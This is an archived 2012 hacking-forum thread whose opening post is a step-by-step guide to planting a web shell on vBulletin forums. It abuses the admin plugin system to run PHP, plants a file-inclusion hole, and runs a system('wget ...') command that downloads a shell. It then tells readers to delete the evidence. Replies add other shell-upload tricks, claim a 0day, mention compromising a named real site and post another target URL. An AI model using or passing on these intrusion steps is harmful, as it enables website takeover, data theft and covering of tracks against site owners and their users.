

# Forum:[Hack Forums](#)

Thread: [\[Tut\] Shelling vBulletin Forums \[Pics!\]](#)

-DownFall - February 12, 2012, 3:39 pm

Hey guys, today I'm gonna be showing you how to get your shell uploaded on vBulletin forums. Once you have admin access (not sure about Founder), log into your admin panel.

Usually it's something like this..

Code <http://www.site.com/forum/admincp/>

If it's not, try /admin.

Once you're logged in, you should be presented with the oh so mighty vBulletin Admin Control Panel..

Spoiler [\(Click to View\)](#)

Now on the left, click plugins and products, and click on Add New Plugin.

Spoiler [\(Click to View\)](#)

It should take you to something that looks like this.

Spoiler [\(Click to View\)](#)

Product:vBulletin.

Hook Location: We're going to be executing remote code through the ajax plugin, so under Hook Location, click ajax\_complete.

Title: .....whatever you want to name it.

Plugin PHP Code: This is where your code is going. First we want to check the disabled functions on the server. Let's see if we can get this PHP Info to show up...

Plugin is active: No

Code `phpinfo();`

It should all look like this once you're done..

Spoiler [\(Click to View\)](#)

Now it should redirect you back to the plugins manager. If there's any plugins active under the ajax plugin, uncheck them and make sure yours is active. Scroll down and click "Save Active Status".

Should look something like this...

Spoiler [\(Click to View\)](#)

Now save it, and go to your ajax page.

Code <http://www.site.com/forum/ajax.php>Spoiler [\(Click to View\)](#)

Local File Inclusion

`allow_url_fopen` = On

That means we can create a Local File Inclusion vulnerability.

Code include(\$\_GET[LFI])Spoiler [\(Click to View\)](#)

Code http://www.site.com/forum/ajax.php?LFI=/proc/self/status  
Spoiler [\(Click to View\)](#)

Now you can poison logs, dig up juicy files, or use another method of LFI to get your shell up.

## Remote File Inclusion

allow\_url\_include = Off

That means we can't create an RFI vulnerability until we get our shell up..

If we could, it would be almost the same thing as LFI.

Code include(\$\_GET[RFI])

Code http://www.site.com/forum/ajax.php?RFI=http://www.site.com/shell.txt?

## Remote Code Execution

Now, if any of these are disabled, you're going to have some trouble. If not, we can get our shell up using unix commands.

Code system

exec

shell\_exec

passthru

Code system('ls');That's a unix commands to list files, now see if it worked..

Code http://www.site.com/forum/ajax.phpYou should see all the files in the current directory.

Woot, site pwnt. Now you can use wget to get your shell uploaded..

Code system('wget http://www.site.com/shell.txt -O shell.php');

Spoiler [\(Click to View\)](#)

Code http://www.site.com/forum/shell.phpSpoiler [\(Click to View\)](#)

Game, there you go. Now you can activate the default plugin and delete your evidence.  
Shoutout to the rest of Team Intra and my boys in Zer0Lulz for making this possible.

**Professional Hacker** - February 12, 2012, 3:49 pm

Nice tutorial, haven't seen this method though.

All the method I had was uploading xml shell.

Thanks for this.

**Hooded Robin** - February 12, 2012, 4:18 pm

Nice tutorial this should help quite a few people out and the chained exploit trick again is cool and genius! Really glad to see that I could help out a bit with the hashes, patience and hard work do pay off in the end ;)

**HaxOr?** - February 12, 2012, 4:22 pm

Nice one, but this method is really old.

I have like 0day for shelling vBulletin.

All i need is to upload one file. :)

?Victory - February 12, 2012, 4:31 pm

Nice tutorial .... I have been using Another Method more easier and it works but I will try this method for more xp :D

-DownFall - February 12, 2012, 4:46 pm

(Feb 12, 2012 05:22 PM)?? ? x O r ? Wrote: [\[CITE\]](#) Nice one, but this method is really old.  
I have like 0day for shelling vBulletin.

All i need is to upload one file. :)

Nice, I'm sure there's a lot of other methods we don't know of. All that counts is the one that works though :3

HaxOr? - February 12, 2012, 5:18 pm

Mine one is working 99% of the time.  
So yea, let me know if you want it. :]

Retribute - February 12, 2012, 7:31 pm

Another wonderful tutorial, -Downfall. This could be useful for me in the future. ?

The Ion - February 12, 2012, 7:46 pm

Another wonderful tutorial, -Downfall. nice one keep it up

-DownFall - February 12, 2012, 9:24 pm

Thanks everyone, Haxor - I'll shoot you a PM I want to try it out lol.

V3xD - February 12, 2012, 11:16 pm

This is actually the method i used to shell eBaumsworld i found this tut on google nice paste op its useful.

mdhz786 - February 12, 2012, 11:21 pm

Very nice tut brother!  
Thank you.

omar2205 - February 12, 2012, 11:37 pm

The thing is .... how the hell i'm gonna have the admin access ?

shah121 - February 13, 2012, 12:12 am

gr8 tutorial...but difficult to find..admin page and even more difficult work is to how to crack username and pass ??

-DownFall - February 13, 2012, 12:35 am

(Feb 13, 2012 12:37 AM)omar2205 Wrote: [\[CITE\]](#) The thing is .... how the hell i'm gonna have the admin access ?

Dunno, not my problem lol. That's your job buddy.

(Feb 13, 2012 01:12 AM)shah121 Wrote: [\[CITE\]](#) gr8 tutorial...but difficult to find..admin page and even more difficult work is to how to crack username and pass ??

Dunno, I'm no superman. Just shows you how to shell vBulletin, not get the login info.

**daniboy14** - February 13, 2012, 6:12 am

thanks but one ask i cant login when im not the admin xD? how it ill works than lol?

**-DownFall** - February 13, 2012, 6:13 am

(Feb 13, 2012 07:12 AM)daniboy14 Wrote: [\[CITE\]](#) thanks but one ask i cant login when im not the admin xD? how it ill works than lol?

Find an exploit for that vBulletin forum. I didn't go over getting admin access lol.

**BeggFoMercy** - February 13, 2012, 8:16 am

Always good work man keep it up !

Too Shooooorty

**Professional Hacker** - February 13, 2012, 9:30 am

Shell a site, symlink a VB Forum and test the method to see if it's working.

But yeah, this works for me haha.

**Mudkip** - February 13, 2012, 9:37 am

I used the products manager and uploaded an XML to execute PHP code.

You can also edit the uninstall code from the product manager and have it download and rename a shell.

**.Satan** - February 14, 2012, 1:17 am

Great tutorial -Downfall =]

Didnt work on my target as you know lol, i will have to try Mudkips method when i get the chance

**gatopardos** - February 14, 2012, 11:39 am

which is Mudkips method you are talking about?

**-DownFall** - February 14, 2012, 12:09 pm

(Feb 14, 2012 12:39 PM)gatopardos Wrote: [\[CITE\]](#) which is Mudkips method you are talking about?

Uploading an XML shell. I plan on making a tut or editing this one showing you that method too...

**O F F L I N E** - February 14, 2012, 1:37 pm

DOWNFALL YOUR THE BEST I LOVE ALL YOUR TUTS I AM BIG FAN OF ANIME TOO

**Mudkip** - February 14, 2012, 9:53 pm

(Feb 14, 2012 01:09 PM)-DownFall Wrote: [\[CITE\]](#) Uploading an XML shell. I plan on making a tut or editing this one showing you that method too...

Noooo, uploading a product XML with malicious install code(it can contain php and is good for one time use)

**SqlInJector** - February 14, 2012, 10:04 pm

Thanks! Nice tut :d gonna use it ;x

**thethatguy** - February 15, 2012, 12:51 am

Nice contribution and thank for the all the effort,

also this: V

Noooo, uploading a product XML with malicious install code(it can contain php and is good for one time use)

**MrNRG** - February 15, 2012, 5:16 am

Or just paste the exploit in the plugin manager. Super easy, no upload required and works 1000% unless the plugins are disabled via config.php :)

**Th3PonyWizard** - March 30, 2012, 9:22 am

Pretty nice, but in my version (3.8.3) There's no plugin system :\

**ahmad\_adnan** - March 30, 2012, 10:18 am

Very Nice TUT , noob friendly! keep it up

**HaLFMD5** - March 30, 2012, 1:36 pm

alredy known and old as shit . will help the newcomers tho. despite the fact you need admin login for this . so pretty useless without it :D,

**str33tsuite** - March 30, 2012, 2:06 pm

Brilliant! thanks for the share.

msgnotlongenough.

**Bladder** - March 30, 2012, 2:41 pm

Im going to try this out and see how it goes. Thanks for the tut.

**joel5000** - June 5, 2012, 2:23 pm

Site:<http://arcanemaple.net/?p=mainchar>

Database Server: Mysql

Method: I dont know :/ but i get an error at order by 1 T\_T

Problem: Stuck

**500** - June 5, 2012, 5:58 pm

Great job, but I think it is not work with a new version